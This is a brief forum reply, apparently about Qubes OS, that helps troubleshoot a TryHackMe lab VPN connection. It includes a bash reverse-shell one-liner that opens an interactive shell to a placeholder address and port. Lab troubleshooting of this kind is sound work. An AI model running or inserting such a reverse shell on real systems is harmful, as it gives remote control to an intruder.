Hi, could you provide more details is the ovpn file running on your TryHackme AppVM or sys-net or sys-firewall. If it’s on TryHackme qube then your reverse-shell payload might be an issue confirm if it works locally e.g /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/1337 0>&1"
Moreover will recommend you read this VPN Instruction for 4.2